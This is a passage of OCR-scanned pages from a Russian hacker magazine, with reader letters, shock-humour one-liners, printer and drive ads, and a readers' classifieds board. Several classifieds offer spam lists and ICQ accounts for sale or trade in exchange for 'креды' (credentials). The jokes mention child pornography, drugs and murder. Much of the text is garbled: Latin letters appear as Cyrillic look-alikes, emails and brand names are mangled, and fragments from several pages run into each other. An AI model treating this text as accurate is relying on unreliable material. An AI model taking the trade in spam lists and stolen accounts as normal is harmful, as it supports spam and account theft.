последний раз, каким образом формируется цена журнала: оптовик 
покупает какое-то количество журналов по оптовой цене, не 
имеющей ничего общего с розничной. Розничную цену продавец 
формирует самостоятельно. Если он ее слишком задрал - останется 
с кучей непроданных журналов, если не изменял вообще - останется 
без штанов. Все остальное, находящееся между крайних точек - его 
рыночный нюх и его решение, повлиять на которое могут только 
покупатели. Своими деньгами или своим игнором. Правда ведь, 
ничего нового? А перцы отныне и впредь обязуемся держать гордо! 



Хелло, многоуважаемые хацкеры! Пишет вам ваш преданный 
читатель макс. Хочу высказаться насчет ваших отмазок. Вот вы 
все: «не от нас цена зависит, но мы не хотим чтобы вы покупали 
наш журнал за 100 рублей!» Ребятки! В Самаре ваш журнал в 
розницу стоит 125 р.!!! Ну, вы меня поняли, к чему я :). А в 
остальном - круто!!! я все ваши журналы читаю от корки до корки. 
Даня - просто кладезь порока и грязных мыслей! ІІЧТВО - высшее! 
И еще - посылайте всех тех кто орет: «ламерский журнал!» в жо... 
в жостово :), потому что орать стали слишком много и без причин. 
А орут, чтобы потом похвалиться: «вот я, мол, какой перц, хакеров 
поругал!», а сам кроме кнопки роѵѵег ничего не знает. В общем, 
журнал - кайф, вы - молодцы, держите перцы по ветру! 



^ ТНе ][г001 (сга2у.г00і@таіІ.ги) взял и поставил вопрос 
ребром. Остро, ново, посмотрим, что получилось. 
1*00 Особенно мне понравилось про то, что каждый хакер 
должен быть немного извращенцем. Советовать или 
одобрять ничего по этому поводу не буду, очень уж темка скользкая, 
как бы не увлечься :). 



Привет, X! Прочитав письма с руганью в июньском номере, хочу 
сказать слова в защиту X. Да, в последнее время журнал сильно 
изменился, изменилось содержание, инфы стало больше, причем 
по очень разным темам. Поэтому всякие однобокие хакеры и орут: 
«Уберите на фиг раздел с играми, выкиньте Даню, журнал только 
про Хак!!!». Вот потому они и однобокие. Настоящий хакер должен 
быть развит во всех направлениях, и немножко быть извращенцем 
(это я про Данины статьи :)). Тот, кого я понимаю и уважаю из всей 
вашей редакции - Синтез и Центнер. Синтез, я готов бороться 
против отморозков!!! Самое грустное, что многие из них читают X. 
Все они считают себя супер - жопер крутыми С001_ ХаКеРаМи. Вы 
уж сами-то такими не становитесь. Чую, скоро эта эпидемия 
распространится и на вас :(. Вы вечно орете, что ламеры должны 
учиться, читать факи, а потом только ваш журнал. Вот поэтому 
некоторые ламеры воображают себя хацкерами, плюют на вас и 
открывают очередную «хак-группу», засоряют ящики спамом и 
прочую гадость творят. Поэтому советую вам открыть раздел 
«Взлом для самых маленьких». Всем будет сухо и комфортно :). 
Ну, пожалуй, все! Исправляйтесь и исправляйте других! 
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жила у него в сумке. Пото 
му что этот мальчик оста- 
вил дома и кокаин, и дет- 
скую порнографию. 



■ Один мальчик очень лю- 
бил жечь спички. Бывало, 
попросит какого-нибудь 
знакомого хулигана ему ко- 
робок купить, а потом идет 
по улице и во все стороны 
спички зажженные кидает. 
Весело! Много ли для счас- 
тья надо: женщины его тог- 
да вообще не интересовали. 



ХУМОР 



И Одному мальчику долгое 
время не давали девочки. 
Поэтому он писал очень 
красивые , романтичные сти- 
хи. А потом какая-то де- 



И Один мальчик очень лю- 
бил громко слушать музыку 
по ночам. А жил он в па- 
нельном доме, где звуко- 
изоляция - далеко не пе- 
редовой край инженерной 
мысли. Вышел мальчик од- 
нажды мусор вынести - а 
его за рукав сосед хвата- 



Н Один мальчик был очень 
плохим. Он пил, курил, ру- 
гался матом и прогуливал 
уроки. А когда он вырос, 
милиция ничего не обнару- 



И Один мальчик был очень 
хорошим. Он всегда слушал- 
ся маму и папу, вовремя 
делал уроки и никогда не 
іштил. А когда он вырос, 
милиция обнаружила у него 
в сумке двадцать компакт- 
дисков с детской порногра- 
фией и килограмм кокаина. 



вочка ему наконец дала. 
Тогда мальчик спился и 
стал астрономом. Но это 
уже после того, как пять 
лет за кокаин отсидел. 



ст. И говорит. 

- Это у вас, молодой чело- 
век, музыка по ночам игра- 
ет? 

- Ну да, у меня! А что, 
мешает? Громко слишком? 

- Ой, да что вы, что вы! Я 
просто себе кое-что хотел 
переписать . . . 






И Один мальчик хотел всю 
жизнь слушать веселенький 
хаус, плавать в бассейне с 
водой лазурного цвета, 
пить мартини и обнимать 
стройных, загорелых деву- 
шек в бикини. Так у него и 
повелось . . . 

И Один мальчик был скин- 
хедом. Другой - панком. А 
третьему так вообще было 
по барабану, кем он был. 

I Один мальчик ненавидел 
людей. И животных тоже не- 
навидел. Зато очень любил 
бензин . 



И Один мальчик однажды 
нарвался на крутых банди- 
тов. Главный бандит выстре- 
лил из пистолета мальчику в 
грудь. Пуля пробила легкое, 
мальчик захрипел, из его 
рта потекла струйка крови, 
он упал на землю и забился 
в предсмертной агонии. 

И Один мальчик очень хотел 
стать хакером. Но не стал. 

И Один мальчик очень лю- 
бил всех посылать. Выйдет, 
бывало, с утречка на бал- 
кон, да как закричит: "А 
пошли вы все ! " . И еще плю- 





Безопасность + 7200 Кб/сек = 
(драйв без ограничений) 2 




Обладая скоростью записи 48х, ВепО СПѴ\/ 481 6Р является одним самых быстрых 
СО-НѴѴ дисководов в мире. При больших скоростях есть риск не вписаться в 
поворот, но встроенная функция СоІІівіоп ОиагсІ удержит Вас на своей полосе. 
Четкость работы, высокая скорость и бесшумность хода - все, что нужно для 
великолепного драйва. Забудьте о контроле над 
скоростью, пристегните ремни и наслаждайтесь 
поездкой. Потому что удовольствие имеет значение. 

СВ\А/ 481 6Р это лишь один из новых 
высокоскоростных дисководов ВепО. 

Хотите узнать больше? Посетите наш Интернет сайт 
ѵѵѵѵѵѵ.ВепО.ги 



Оптовые продажи: 

СіЪіІіпк: (095) 745-2999, ѵѵѵѵѵѵ.сіьіііпк.ги; ЕІзіе: (095) 777-9779, \л/\л/\л/.еІзіе.ги; 
Ноітгоск: (0112) 593-459, ѵѵѵѵѵѵ.НоІтгоск.ги; І_апск С&Т: (095) 234-0012, (812) 
325-6666, \лпллл/.1апск.ги; ЫгагсІ: (095) 799-5398, ѵѵѵѵѵѵ.іігагсі.ги; ТгіпіЬу ЕІесЪгопісз: 
(095) 737-8046, Деникин: (095) 787-4999, ѵѵѵѵѵѵ.бепікіп.ги; СЯЕДопыт: (095) 
787-5535, ѵѵѵѵѵѵ.зіесіоріъ.ги 

Информация о розничных продажах доступна на мллпл/.ВепО.ги 



вепо, 

Епрутепі Маііегз 



нет вниз для наглядности. 
Три раза. Такая у него бы- 
ла интересная традиция. 

Н Один мальчик постоянно 
читал книжки. То одну за 
ночь прочтет, то другую - 
все ему мало. А как-то ве- 
чером вдруг сгреб всю свою 
библиотеку в мешок, выво- 
лок на улицу, полил бензи- 
ном и развел огромный кос- 
тер. Тут же из домов выбе- 
жали радостные ребятишки и 
стали водить вокруг него 
хоровод. "Хайль ! " - кри- 
чат, радуются... 



іУыим мтьшк . ' • ч 
ы<гяовыа><г.і\ і\м>7)<г/Л. Д 
животных гож& і! ' 
н<гнави!)<г.і\. Зрто • 







Ш Один мальчик очень лю- 
бил надевать перед зерка- 
лом колготки, бюстгальтер 
и красить губы ярко-алой 
помадой . Взрослые говори- 
ли, что это не доведет его 
до добра. А мальчик вырос 
и вступил в Организацию 
Освобождения Палестины. 

Н Один мальчик постоянно 
летал в астрале. В Париж 
летал, в Рио-де-Жанейро, в 
Дели. Иногда, бывает, так 
далеко улетит, что потом 
несколько дней дорогу на- 
зад ищет. А еще ему сон 
один и тот же все время 
снился. Про телевизор, ко- 
торый показывает телеви- 
зор, который показывает 
телевизор, который показы- 
вает телевизор. А потом 
мальчик перестал есть гал- 
люциногенные грибы и пошел 
учиться на токаря. 




И Один мальчик любил бе- 
гать голым по Красной 
площади, размахивать саб- 
лей и выкрикивать всякие 
непристойности . Милиция 
ловила мальчика, била его 
сапогами по почкам и за- 
держивала на пятнадцать 
суток. Так они и жили. 

И Один мальчик как-то ре- 
шил убить своих родителей 
и съесть их сердца. Даже 
нож достал со специальной 
канавкой для стока крови. 
Правда, потом передумал. 

I Один мальчик учился в 
школе, а на летние канику- 
лы поехал отдыхать к ба- 
бушке в деревню. Первого 
сентября учительница по- 
просила весь класс напи- 
сать сочинение на тему 
"Как я провел лето". Свет- 
ка написала об отдыхе в 
Сочи. Гриша написал, как 
плавал на байдарке. А 
мальчик ничего не написал. 
Потому что еще в июне умер 
от дизентерии . 

I Один мальчик решил, что 
он - робот. А все оказа- 
лось совершенно наоборот . 



Рубрика «Я плакал» 
(самое-самое письмо Дане) 

{гот: "Апіоп Огогсіоѵ" 
<дгеа{е5йапктапеѵег@Ио{таіІ.сот> 

привет, даня. ты, типа, можешь гордиться - твоей гуманнос- 
тью и величием мозга восхищается вся просветленная аме- 
рика. типа, ты крутой мужик, теперь, в тесте на морального 
урода я набрал 47 баллов, я могу собой гордиться - в непол- 
ные 1 6 лет я имею почетное звание Ргеак оі ѴѴаІшД Сгеек, 

СА и Віддезі Риззіап АззИоІе Еѵег. присвоили мне их мест- 
ные жители на сходке после очередного... забей, а еще мне 
никто не дает, это строго, потому что я В РАЕ (см. выше), вот 
так. а фишка в том, что если тебе нужен человек в америке, 
то пиши гее_Ш_Ьис1с1у@таіІ.ги извини за сервер, и есть во- 
прос - что мне теперь делать? самосжигаться мне лень, а 
делать нефиг. нужен совет профессионала, пиши. -Ш Ьисісіу 
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А что, еспи качество разогнать до предельной скорости? 




ВІТВВІЕ ИТ РШТЕП 5900 

I Увеличение скорости печати часто ведет за собой потерю 
качества. И до сих пор выбор цветного принтера означал 
компромисс между этими двумя параметрами. Но с появлением 
нового принтера ВиЬЫе йеі 3900 вы впервые можете получить 
максимально четкое изображение за минимально короткое 
время! Теперь благодаря новой печатающей головке 
(3072 дюзы) на печать фотографии формата А4 (1200 брі) 
уйдет всего-то только около 1 минуты вашего драгоценного 
времени. С этим принтером вы получаете исключительное 
качество печати с разрешением 2400x1200 брі, а 6 новых 
высококонтрастных фоточернип и передовая микрокапепьная 
технология (МісгоРіпе йгоріеі ТесЬпоІоду™) сделают 
изображение более проработанным и насыщенным по цвету. 
Можно утверждать, что новый принтер ВиЬЫе йеі 3900 - 
это находка для фотографа! Используя технологию 
раздельных чернильниц, быструю печать без попей, передовое 
программное обеспечение, включающее фотооптимизатор 
(РЬоіо Оріітізег РВО) и функции обработки изображений 
Ѵіѵіб РЬоіо, вы получаете снимки, о которых раньше 
могли только мечтать. 



А что... здорово получить все сразу с принтером 
ВиЬЫе йеі 3900! 



Теперь вы делаете все, что только можете представить! 
Техника Сапоп. Для невероятных, смелых идей! 



ѵѵѵѵѵѵ.сапоп.ги 



ЕхіІРгіпІ 



пчем іічн. 

* * 4 



* Доступно на сайте ѵѵѵѵѵѵ.сапоп-еигора.сот 
Только дпя МІСГ 050 Й ѴѴіпсІоѵѵз 












ИНФОРМАЦИЯ О ПИПЕРАХ: +7(095) 903 90 90 



уои сап 

Сапоп 



Товар сертифицирован 





МАРЫНЧС!!! 



Борда 

Мессадж можно закинуть на 

ЬоагсІ@геаІ.хакер.ги 



"ііііііііііііі И М 

Продам журнал Хакер старые номера и книги по 
хакингу и фрикингу для жителей города 
Хабаровска. еѵд@сШ.ги 



Продается модем Б\У. Состояние - отличное 
%). ІІЗВоЬоІісз Зроіізіег Ѵоісе х2 56К Рах. Со 
всеми родными шнурками и коробке с 
инструкцией. коІапсІг@опІіпе.ги 



Напишу программу на Эеірііі на заказ, за 
топеу. Мылить на : ѵізиаІ@Иоте.ІиІа.пеІ 



Ищу работу или группу. Знаю йеірбі, РІазб, 
Саггага (30 - моделирование) и многое другое. 
Нарисую логотип и пр... Писать на 

п1к@хакер.ш. 

г ііііііііііііі иЛ 




Объявления рекламного характера 
не публикуются! 

1 . мы не будем рекламировать твою страничку, сервер и прочее 

2. все письма с матом и прочей шнягой удаляются сразу 

3. мы постараемся размещать сообщения в ближайших номерах, 
но ничего не обещаем :) 





Привет! Я хочу узнать сколько таких, как я 
читает «][«. Жители г. Краснодара и 
г.Тимашевска откликнитесь!!! гНс-гооІ@Ьк.ш 



ііііііііііііі іи Л 



Могу достать любую прогу и выслать на е- 
таіі. За инфу, спам лист и т.п. Пишите на 

ісе-Ьгеакег@гатЫег.ги 



Создается серьёзная оп-Ііпе игра - Рідбі 
Раіаі Битвы Средневековья. Нужны 
энтузиасты - вед- дизайнеры, программеры 
ССІ/регІ, писатели, фантазисты и др. Если 
интересно - пишите епаЫес!@уапс1ех.ги 



Продаю 8-ми значные ісц-аккаунты или меняю 
на креды, спам листы и прочее... Мылить на 

іТю-гооІ@Ьк.ги 



Группа дизайнеров выполнит работу по 
созданию сайта. 

Низкие цены 200-1000 рублей в зависимости 
от сложности работы. РІазб, ЗсІ, зсгіріз, НТМІ_. 
таіІ1о:зІаѵаЗ@под.ги 



Есть идея создать сайт посвященный 
готбаскіпд’у так-так вся инфа в инете 
только на английском. Мыльте сюда 

ОХОТН II К@таіІги . сот 



Если у кого есть распайка шланга для ШКІА 
3210 (к СОМ) или сам шланг (не нужный) с 
удовольствием куплю, поменяю на что-либо. 

_ті!іеу@гатЫег.ги 



Люди, кто может выслать мне карту 
(ВластелинКолец или МЮ), или у кого они 
есть, и те кто коллекционируют карты, 
все пишите на: ЬЫе3000сІс)@таіІ.ги 



л 



г 



ііііііііі 



іи щ\ 



У кого есть дока или примеры как работать с 
ЕхсеІ из-под Оеірбіб, плиз, пришлите. Могу 
также и обменяться инфой. 

зузпік@зузпік.ѵгп . ш 



Приму в дар любую инфу по С\С++ и ѴѴіпАРІ. 
А также исходники интересных программ на 
любом языке. С удовольствием побазарю с 
теми кто юзает никсы. 1огаІІ@таіІги.сот 



Всем кому знакома тема «соттегсіаі тар-так- 
іпд» писать на етс)_га 20 г@таіІ.ги 



Планируется создать клуб любителей 
автомобиля Іоуоіа саісііпа. Кого интересует 
мыльте на ЬіІІдаІез-зихх@таіІ.ги 





Создаем клан по старкрафту (В 
Красногорске). Кто заинтересован мылить 

на: Ііге1у3000@таі1.ги 

ііііііііііііі иЛ 



Вступлю в хак группу (Владивосток). Писать 
сюда: с)еасИод@іготги.сот 






Ищу работу. Возраст 16 лет. Обладаю 
огромным потенциалом и желанием 
работать. Знаю Оеірбі, РНР, РегІ, Заѵа (Арріеі, 
Зегѵіеі), ОаѵаЗсгірІ, МуЗОЦ НТМІ_, ХМІ_, С++, 
учу РІазб. Мыльте на пі1г4@хакер.ги 



Все кто пишет демки/интро на Оеірбі! 
Просьба откликнуться! Так же, интерисует 
народ, кторый является членом каких-нибудь 
зарубежных сіетозсепе- команд (Ьаіб, срб, 
зас и проч.)! Ящик прежний: 
такзиз!іа@уапс1ех. ш 



Питерцы! У кого есть ненужное железо под 
486-е процы (приму в дар или куплю). Мыльте 

на ОідііаІѴепот@хакер.ги 



Очень хочу переписываться по е-майлу с 
девушками из разных точек планеты. Мне 16 
лет. Фото гарантируется. Писать на 

заЫіп@гатЫег.ги 



Очень нужен Спец 2 за 2000 год (О веб 
дизайне). Куплю по сходной цене. Мессаги 
шлите на 2 ідгад@хакер.ги или на Асю 

144839950 



Москвичи, продаю журнал Хакер спец. 7 за 
2002 год цена 90р. мылить на: 

а5ріге@ігеетаіІ.ги 



Продам спам лист на 10000 мыл, или обменяю 
на инфу по хакерству. Мылить на: Яге- 
Іу3000@таіІ.ги 



Приму любые старые и нерабочие железки на 
опыты. Только от жителей Воронежа. 

§егдіепсои@уапсІех. г и 



Куплю все журналы X за 2000 год и спецы 4/00 
и 5/00 Мылить на тауЬе@Ьк.ш 



Все кто интересуется подключением 
компьютеру дополнительного железа, 
модулей управления, пультов и т.д. мыльте 
мне, будем обмениваться инфой. ИЗИ@гат- 
Ыег.ш 
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